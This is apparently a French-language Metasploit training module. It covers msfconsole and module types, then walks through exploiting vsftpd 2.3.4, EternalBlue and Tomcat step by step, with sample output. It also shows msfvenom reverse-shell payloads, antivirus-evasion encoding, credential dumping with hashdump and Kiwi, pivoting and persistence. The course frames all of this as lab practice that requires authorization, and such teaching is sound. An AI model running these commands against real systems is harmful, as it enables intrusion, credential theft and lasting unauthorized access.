Metasploit Framework
La plateforme de test d'intrusion la plus utilisee au monde. De la reconnaissance a la post-exploitation, maitrise chaque etape avec Metasploit.
- Comprendre l'architecture et les composants de Metasploit Framework
- Maitriser MSFconsole et ses commandes essentielles
- Connaitre les types de modules : exploits, payloads, auxiliary, post
- Utiliser Meterpreter et MSFVenom en situation pratique
- Realiser une exploitation complete de bout en bout
- Appliquer les techniques de post-exploitation
🚀 T4.1 — Introduction a Metasploit
Metasploit Framework est la plateforme de test d'intrusion open source la plus utilisee au monde. Creee en 2003 par HD Moore en Perl, elle a ete reecrite en Ruby et acquise par Rapid7 en 2009.
Metasploit, c'est la boite a outils du pentester. Imagine un mecanicien : il a une boite avec des cles, des tournevis, des pinces. Chaque outil a un usage precis. Metasploit, c'est pareil : une boite a outils ou chaque module a un role precis — scanner, exploiter, maintenir l'acces. Au lieu de coder chaque attaque from scratch, tu selectionnes le bon outil.
Historique
| Annee | Evenement |
|---|---|
| 2003 | Creation par HD Moore en Perl (v1.0) |
| 2007 | Reecriture complete en Ruby (v3.0) |
| 2009 | Acquisition par Rapid7 |
| 2011 | Lancement de Metasploit Pro (commercial) |
| 2024 | Plus de 2 300 exploits, 1 300 modules auxiliary, 600+ payloads |
Architecture de Metasploit
Les interfaces utilisateur pour interagir avec le framework. MSFconsole est l'interface principale en ligne de commande, la plus puissante et la plus utilisee.
Les composants fonctionnels. Chaque module realise une tache specifique : scanner, exploiter une faille, maintenir l'acces, encoder un payload, etc.
Fournit les API simplifiees pour interagir avec le framework. C'est la couche qui rend le developpement de modules accessible.
Le coeur du framework. Gere le systeme de modules, les sessions, le dispatching des evenements et la gestion des data stores.
La couche la plus basse. Fournit les sockets, protocoles (HTTP, SMB, SSH), encodage, cryptographie. C'est le moteur reseau du framework.
Editions de Metasploit
| Edition | Prix | Usage | Fonctionnalites cles |
|---|---|---|---|
| Framework (Open Source) | Gratuit | Pentesters, chercheurs, etudiants | MSFconsole, tous les modules, base de donnees, scripting Ruby |
| Pro (Commercial) | ~$15 000/an | Equipes de securite, entreprises | Interface web, automatisation, rapports, social engineering, brute force avance |
msfconsole. La base de donnees PostgreSQL est deja configuree.
Structure des fichiers
/usr/share/metasploit-framework/
├── modules/ # Tous les modules
│ ├── exploits/ # Modules d'exploitation
│ ├── auxiliary/ # Modules auxiliaires (scan, fuzz, etc.)
│ ├── post/ # Modules post-exploitation
│ ├── payloads/ # Charges utiles
│ ├── encoders/ # Encodeurs de payloads
│ ├── nops/ # Generateurs de NOP sleds
│ └── evasion/ # Modules d'evasion antivirus
├── data/ # Donnees (wordlists, templates, etc.)
├── tools/ # Outils supplementaires
├── plugins/ # Plugins msfconsole
├── scripts/ # Scripts Meterpreter & automatisation
└── lib/ # Bibliotheques Rex, Core, Base
💻 T4.2 — MSFconsole : l'interface principale
MSFconsole est l'interface en ligne de commande principale de Metasploit. C'est l'outil que tu utiliseras 95% du temps. Elle offre auto-completion, historique, et acces a toutes les fonctionnalites du framework.
Lancer MSFconsole
# Demarrer le service PostgreSQL (necessaire pour la DB)
sudo systemctl start postgresql
# Initialiser la base de donnees (premiere fois uniquement)
sudo msfdb init
# Lancer MSFconsole
msfconsole
# Lancer en mode silencieux (sans banniere ASCII)
msfconsole -q
Commandes essentielles
| Commande | Description | Exemple |
|---|---|---|
help | Affiche l'aide generale ou d'une commande | help search |
search | Recherche des modules par mot-cle | search type:exploit platform:windows smb |
use | Selectionne un module | use exploit/unix/ftp/vsftpd_234_backdoor |
info | Affiche les details d'un module | info exploit/windows/smb/ms17_010_eternalblue |
show options | Affiche les options du module selectionne | show options |
set | Definit une option pour le module courant | set RHOSTS 192.168.1.100 |
setg | Definit une option globale (persistante) | setg RHOSTS 192.168.1.0/24 |
run / exploit | Execute le module selectionne | run ou exploit |
back | Revient au contexte principal | back |
sessions | Liste les sessions actives | sessions -l |
exit | Quitte MSFconsole | exit |
Recherche avancee avec search
# Recherche par mot-cle simple
msf6 > search eternalblue
# Recherche par type de module
msf6 > search type:exploit eternalblue
# Recherche par plateforme
msf6 > search platform:windows type:exploit smb
# Recherche par CVE
msf6 > search cve:2017-0144
# Recherche par auteur
msf6 > search author:hdm
# Recherche par date (modules recents)
msf6 > search date:2023 type:exploit
# Recherche combinee
msf6 > search type:exploit platform:linux rank:excellent
Workspace : gestion de projets
Les workspaces permettent de separer les donnees par mission ou par client. Chaque workspace a sa propre base de donnees d'hotes, services et vulnerabilites.
# Verifier la connexion a la base de donnees
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
# Lister les workspaces
msf6 > workspace
* default
# Creer un nouveau workspace
msf6 > workspace -a pentest_client_A
[*] Added workspace: pentest_client_A
[*] Workspace: pentest_client_A
# Changer de workspace
msf6 > workspace default
[*] Workspace: default
# Supprimer un workspace
msf6 > workspace -d pentest_client_A
Integration base de donnees
L'integration avec PostgreSQL permet de stocker et requeter les resultats de scans automatiquement.
# Scanner avec Nmap et importer les resultats dans la DB
msf6 > db_nmap -sV -sC -O 192.168.1.0/24
# Lister les hotes decouverts
msf6 > hosts
Hosts
=====
address mac name os_name purpose
------- --- ---- ------- -------
192.168.1.1 AA:BB:CC:DD:EE:FF gateway Linux 4.15 server
192.168.1.50 11:22:33:44:55:66 webserver Linux 5.4 server
192.168.1.100 AA:11:BB:22:CC:33 dc01 Windows 10 client
# Lister les services decouverts
msf6 > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.1.50 21 tcp ftp open vsftpd 2.3.4
192.168.1.50 22 tcp ssh open OpenSSH 7.9
192.168.1.100 445 tcp smb open Windows 10 SMBv3
# Lister les vulnerabilites trouvees
msf6 > vulns
# Filtrer les services par port
msf6 > services -p 445
msf6 > services -S ftp
db_nmap au lieu de nmap pour que les resultats soient automatiquement importes dans la base de donnees Metasploit. Tu pourras ensuite les requeter avec hosts, services et vulns.
📦 T4.3 — Les modules Metasploit
Metasploit est organise en 7 types de modules. Chaque type a un role specifique dans le processus de pentest.
| Type | Role | Nombre (~) | Exemple |
|---|---|---|---|
| Exploits | Exploitent une vulnerabilite pour executer un payload | ~2 300 | exploit/windows/smb/ms17_010_eternalblue |
| Auxiliary | Scan, enumeration, fuzzing, DoS (pas de payload) | ~1 300 | auxiliary/scanner/smb/smb_version |
| Post | Actions post-exploitation (sur une session active) | ~400 | post/windows/gather/hashdump |
| Payloads | Code execute sur la cible apres exploitation | ~600 | windows/meterpreter/reverse_tcp |
| Encoders | Transforment le payload pour eviter la detection | ~45 | x86/shikata_ga_nai |
| Nops | Generent des NOP sleds pour la stabilite des exploits | ~10 | x86/opty2 |
| Evasion | Generent des payloads furtifs pour contourner les AV | ~10 | evasion/windows/windows_defender_exe |
Nomenclature des modules
Chaque module suit une convention de nommage hierarchique :
# Format general :
type/plateforme/service_ou_categorie/nom_du_module
# Exemples :
exploit/windows/smb/ms17_010_eternalblue
└ type └ OS └ service └ nom
auxiliary/scanner/portscan/tcp
└ type └ categorie └ sous-cat └ nom
post/multi/gather/ssh_creds
└ type └ OS └ action └ nom
payload/windows/meterpreter/reverse_tcp
└ type └ OS └ type └ connexion
Selectionner et configurer un module
# 1. Rechercher un module
msf6 > search vsftpd
Matching Modules
================
# Name Disclosure Date Rank Description
- ---- --------------- ---- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent VSFTPD v2.3.4 Backdoor
# 2. Selectionner le module
msf6 > use 0
(ou)
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
# 3. Voir les informations du module
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info
# 4. Voir les options requises
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s)
RPORT 21 yes The target port (TCP)
# 5. Configurer les options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.50
# 6. Voir les payloads compatibles
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
# 7. Selectionner un payload
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact
# 8. Executer
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
Ranking des modules
| Rank | Description | Fiabilite |
|---|---|---|
| Excellent | Exploit fiable, ne crash jamais la cible | 99%+ |
| Great | Tres fiable, detection automatique de la cible | 90%+ |
| Good | Fiable dans les cas courants | 75%+ |
| Normal | Fonctionnel mais necessite parfois un reglage | 50%+ |
| Average | Pas toujours fiable, conditions specifiques | ~30% |
| Low | Difficile a exploiter avec succes | <30% |
| Manual | Necessite une intervention manuelle significative | Variable |
🎯 T4.4 — Payloads et Meterpreter
Un payload est le code qui s'execute sur la machine cible apres l'exploitation reussie d'une vulnerabilite. C'est ce qui vous donne le controle.
Types de payloads
Singles (autonomes)
Payloads complets et autonomes. Tout le code est dans un seul bloc :
- Ne necessite pas de communication supplementaire
- Plus stables (pas de dependance reseau)
- Taille plus importante
- Notation :
windows/shell_reverse_tcp(un seul slash)
Exemples : cmd/unix/interact, windows/exec, linux/x86/shell_reverse_tcp
Staged (en deux etapes)
Payloads livres en deux parties :
- Stager : petit code initial qui etablit la connexion
- Stage : le payload complet telecharge via le stager
- Taille initiale reduite (passe mieux dans les buffers d'exploit)
- Notation :
windows/meterpreter/reverse_tcp(deux slashs)
Le stager se connecte a l'attaquant, telecharge le stage (ex : Meterpreter), et l'execute en memoire.
Stageless (sans etape)
Payloads complets en un seul envoi, mais avec les fonctionnalites avancees :
- Combine l'avantage des singles (autonome) et des staged (fonctionnalites)
- Taille plus importante mais plus stable
- Notation :
windows/meterpreter_reverse_tcp(underscore, pas de slash) - Preferable quand la bande passante n'est pas un probleme
windows/meterpreter/reverse_tcp (slash entre meterpreter et reverse_tcp)Stageless :
windows/meterpreter_reverse_tcp (underscore entre meterpreter et reverse_tcp)
Meterpreter : le payload avance
Meterpreter (Meta-Interpreter) est le payload le plus puissant de Metasploit. Il s'execute entierement en memoire (pas d'ecriture sur disque) et offre des dizaines de commandes integrees.
| Commande | Description |
|---|---|
sysinfo | Informations systeme (OS, architecture, hostname) |
getuid | Affiche l'utilisateur courant |
getpid | Affiche le PID du processus Meterpreter |
ps | Liste tous les processus en cours |
migrate <PID> | Migre vers un autre processus (stabilite + privileges) |
getsystem | Tente une elevation de privileges vers SYSTEM |
hashdump | Extrait les hash NTLM de la base SAM |
shell | Ouvre un shell systeme interactif |
upload <src> <dst> | Transfere un fichier vers la cible |
download <src> <dst> | Telecharge un fichier depuis la cible |
screenshot | Capture l'ecran de la cible |
keyscan_start | Demarre le keylogger |
keyscan_dump | Affiche les frappes enregistrees |
portfwd | Configure le port forwarding |
route | Configure le routage pour pivoter |
background | Met la session en arriere-plan |
# Apres exploitation reussie, une session Meterpreter s'ouvre
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.100:49852)
meterpreter > sysinfo
Computer : DC01
OS : Windows 10 (10.0 Build 19041)
Architecture : x64
System Language : en_US
Meterpreter : x64/windows
meterpreter > getuid
Server username: DC01\admin
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > hashdump
admin:1001:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
MSFVenom : generation de payloads
MSFVenom combine les anciens outils msfpayload et msfencode pour generer des payloads standalone dans differents formats.
# Payload Windows reverse shell (executable)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.5 LPORT=4444 \
-f exe -o shell.exe
# Payload Linux reverse shell
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.5 LPORT=4444 \
-f elf -o shell.elf
# Payload PHP pour un web shell
msfvenom -p php/meterpreter/reverse_tcp \
LHOST=192.168.1.5 LPORT=4444 \
-f raw -o shell.php
# Payload Python
msfvenom -p python/meterpreter/reverse_tcp \
LHOST=192.168.1.5 LPORT=4444 \
-f raw -o shell.py
# Payload avec encodage (evasion basique)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.5 LPORT=4444 \
-e x86/shikata_ga_nai -i 5 \
-f exe -o encoded_shell.exe
# Lister les formats disponibles
msfvenom --list formats
# Lister les payloads disponibles
msfvenom --list payloads
Payloads courants
| Payload | Type | Description |
|---|---|---|
windows/meterpreter/reverse_tcp | Staged | Meterpreter Windows, connexion inversee TCP |
windows/meterpreter_reverse_tcp | Stageless | Meterpreter Windows complet, connexion inversee |
windows/shell/reverse_tcp | Staged | Shell cmd.exe, connexion inversee |
linux/x64/meterpreter/reverse_tcp | Staged | Meterpreter Linux 64-bit |
php/meterpreter/reverse_tcp | Staged | Meterpreter PHP pour serveurs web |
java/meterpreter/reverse_tcp | Staged | Meterpreter Java multi-plateforme |
cmd/unix/reverse_bash | Single | Reverse shell Bash simple |
windows/meterpreter/reverse_https | Staged | Meterpreter via HTTPS (plus furtif) |
exploit/multi/handler avec le meme payload et les memes options (LHOST, LPORT) que ceux utilises pour generer le payload.
# Configurer le handler pour recevoir la connexion
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.5
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.1.5:4444
⚡ T4.5 — Exploitation en pratique
Exemple 1 : vsftpd 2.3.4 Backdoor (CVE-2011-2523)
En 2011, une version trojanisee de vsftpd a ete distribuee. Envoyer :) comme partie du username ouvre une backdoor sur le port 6200.
# ETAPE 1 : Reconnaissance — Scanner la cible
msf6 > db_nmap -sV -p 21 192.168.1.50
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 21/tcp open ftp vsftpd 2.3.4
# ETAPE 2 : Rechercher l'exploit
msf6 > search vsftpd
Matching Modules
================
# Name Rank Description
- ---- ---- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor excellent VSFTPD v2.3.4 Backdoor
# ETAPE 3 : Selectionner et configurer
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s)
RPORT 21 yes The target port (TCP)
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.50
RHOSTS => 192.168.1.50
# ETAPE 4 : Exploiter
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.50:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.50:21 - USER: 331 Please specify the password.
[+] 192.168.1.50:21 - Backdoor service has been spawned
[+] 192.168.1.50:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened
# ETAPE 5 : Interagir avec le shell
id
uid=0(root) gid=0(root)
whoami
root
hostname
metasploitable2
Exemple 2 : EternalBlue MS17-010 (CVE-2017-0144)
EternalBlue est un exploit developpe par la NSA, rendu public par le groupe Shadow Brokers en 2017. Il exploite une faille dans le protocole SMBv1 de Windows pour obtenir une execution de code a distance avec les privileges SYSTEM.
# ETAPE 1 : Verifier si la cible est vulnerable
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.100
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!
[*] Scanned 1 of 1 hosts (100% complete)
# ETAPE 2 : Selectionner l'exploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s)
RPORT 445 yes The target port (TCP)
SMBDomain . no The Windows domain
SMBPass no SMB Password
SMBUser no SMB Username
VERIFY_ARCH true yes Verify target arch
VERIFY_TARGET true yes Verify target vulnerability
# ETAPE 3 : Configurer
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.5
# ETAPE 4 : Exploiter
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] 192.168.1.100:445 - Connecting to target for exploitation.
[+] 192.168.1.100:445 - Connection established for exploitation.
[+] 192.168.1.100:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.100:445 - CORE raw buffer dump (51 bytes)
[+] 192.168.1.100:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.100:445 - Sending stage (200774 bytes) to 192.168.1.100
[+] 192.168.1.100:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[+] 192.168.1.100:445 - =-= WIN =-=
[+] 192.168.1.100:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.100:49735)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Exemple 3 : Exploitation d'une application web
Metasploit dispose aussi de modules pour exploiter les applications web : injection de commandes, upload de fichiers, deserialization, etc.
# ETAPE 1 : Scanner le service web
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.1.50
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8080
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run
[+] 192.168.1.50:8080 - Login Successful: tomcat:tomcat
# ETAPE 2 : Exploiter via le Manager
msf6 > use exploit/multi/http/tomcat_mgr_upload
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 192.168.1.50
msf6 exploit(multi/http/tomcat_mgr_upload) > set RPORT 8080
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpUsername tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpPassword tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set PAYLOAD java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_upload) > set LHOST 192.168.1.5
msf6 exploit(multi/http/tomcat_mgr_upload) > exploit
[*] Using URL: http://192.168.1.50:8080/manager
[*] Uploading WAR file...
[*] Executing payload...
[*] Meterpreter session 2 opened (192.168.1.5:4444 -> 192.168.1.50:49221)
meterpreter > sysinfo
Computer : webserver
OS : Linux 5.4.0 (amd64)
Meterpreter : java/linux
- Metasploitable 2/3 — VM volontairement vulnerable
- DVWA — Damn Vulnerable Web Application
- HackTheBox / TryHackMe — Plateformes d'entrainement legales
- Votre propre lab — VMs que vous controlez
🕵️ T4.6 — Post-exploitation
La post-exploitation est la phase qui suit l'obtention d'un acces initial. L'objectif est d'etendre le controle, recolter des informations et maintenir l'acces.
Elevation de privileges
# Verifier les privileges actuels
meterpreter > getuid
Server username: CORP\jdupont
# Tentative automatique d'elevation
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation).
# Si getsystem echoue, utiliser un module post-exploitation
meterpreter > background
[*] Backgrounding session 1...
# Suggerer des exploits locaux
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
msf6 post(multi/recon/local_exploit_suggester) > run
[+] 192.168.1.100 - exploit/windows/local/bypassuac_eventvwr: target appears vulnerable.
[+] 192.168.1.100 - exploit/windows/local/ms16_075_reflection_juicy: target appears vulnerable.
# Utiliser le bypass UAC
msf6 > use exploit/windows/local/bypassuac_eventvwr
msf6 exploit(windows/local/bypassuac_eventvwr) > set SESSION 1
msf6 exploit(windows/local/bypassuac_eventvwr) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac_eventvwr) > set LHOST 192.168.1.5
msf6 exploit(windows/local/bypassuac_eventvwr) > exploit
[*] Meterpreter session 2 opened
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Recolte de credentials
# Extraire les hash du SAM (necessite SYSTEM)
meterpreter > hashdump
admin:1001:aad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
Administrator:500:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# Module Mimikatz / Kiwi (extraction de mots de passe en clair)
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /*** Benjamin DELPY
## \ / ## Kiwi ext by OJ Reeves
'## v ##'
'#####'
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain NTLM SHA1
-------- ------ ---- ----
admin CORP e02bc503339d51f71d913c245d35b50b a4e...
jdupont CORP 8846f7eaee8fb117ad06bdd830b7586c b3c...
wdigest credentials
===================
Username Domain Password
-------- ------ --------
admin CORP P@ssw0rd123!
jdupont CORP Welcome2024
# Extraire les tickets Kerberos
meterpreter > kiwi_cmd "sekurlsa::tickets /export"
Pivoting et port forwarding
Le pivoting permet d'utiliser une machine compromise comme relai pour atteindre des reseaux internes non accessibles directement.
# Voir les interfaces reseau de la cible
meterpreter > ipconfig
Interface 1
============
Name : Intel Pro/1000
IPv4 Address : 192.168.1.100
IPv4 Netmask : 255.255.255.0
Interface 2
============
Name : Intel Pro/1000 #2
IPv4 Address : 10.10.10.1
IPv4 Netmask : 255.255.255.0
# Ajouter une route vers le reseau interne via la session
meterpreter > run autoroute -s 10.10.10.0/24
[*] Adding a route to 10.10.10.0/255.255.255.0...
[+] Added route to 10.10.10.0/24 via 192.168.1.100
# Verifier les routes
meterpreter > run autoroute -p
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
10.10.10.0 255.255.255.0 Session 1
# Port forwarding local
meterpreter > portfwd add -l 8080 -p 80 -r 10.10.10.50
[*] Forward TCP relay created: (local) :8080 -> (remote) 10.10.10.50:80
# Maintenant, acceder a http://127.0.0.1:8080 atteint 10.10.10.50:80
# Scanner le reseau interne via le pivot
meterpreter > background
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.10.0/24
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 22,80,443,445,3389
msf6 auxiliary(scanner/portscan/tcp) > run
Persistance
La persistance permet de maintenir l'acces meme apres un redemarrage de la cible.
# Methode 1 : Persistence via service (Windows)
meterpreter > run persistence -U -i 10 -p 4444 -r 192.168.1.5
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/...
[+] Installed as auto-start service
# Methode 2 : Module post-exploitation dedie
msf6 > use exploit/windows/local/persistence_service
msf6 exploit(windows/local/persistence_service) > set SESSION 1
msf6 exploit(windows/local/persistence_service) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/persistence_service) > set LHOST 192.168.1.5
msf6 exploit(windows/local/persistence_service) > exploit
# Methode 3 : Persistence via tache planifiee
msf6 > use exploit/windows/local/s4u_persistence
msf6 exploit(windows/local/s4u_persistence) > set SESSION 1
msf6 exploit(windows/local/s4u_persistence) > set TRIGGER DAILY
msf6 exploit(windows/local/s4u_persistence) > exploit
# Methode 4 : Persistence Linux (crontab)
msf6 > use exploit/linux/local/cron_persistence
msf6 exploit(linux/local/cron_persistence) > set SESSION 2
msf6 exploit(linux/local/cron_persistence) > exploit
🔨 T4.7 — Lab : Terminal Metasploit
Exercice 1 : Simule une session MSFconsole
Utilise le terminal ci-dessous pour pratiquer les commandes Metasploit. Tape help pour voir les commandes disponibles.
Exercice 2 : Associe chaque type de module a son role
Glisse chaque module dans la zone correspondant a sa fonction.
✅ T4.8 — Quiz Metasploit
Teste tes connaissances sur Metasploit Framework. 15 questions pour valider ta maitrise du module.
Points cles du Module T4
- Metasploit Framework est la plateforme de pentest open source la plus utilisee, creee en 2003 par HD Moore
- L'architecture repose sur 3 bibliotheques : Rex (reseau), Core (moteur) et Base (API)
- MSFconsole est l'interface principale — maitriser
search,use,set,exploit - Les workspaces et l'integration PostgreSQL permettent de gerer les donnees par mission
- 7 types de modules : exploits, auxiliary, post, payloads, encoders, nops, evasion
- Payloads staged (
meterpreter/reverse_tcp) vs stageless (meterpreter_reverse_tcp) - Meterpreter s'execute en memoire et offre des commandes avancees :
getsystem,hashdump,migrate - MSFVenom genere des payloads standalone dans tous les formats (exe, elf, php, py...)
- La post-exploitation comprend l'elevation de privileges, le credential harvesting, le pivoting et la persistance
- Toujours operer dans un cadre legal : autorisation ecrite, lab personnel ou plateformes d'entrainement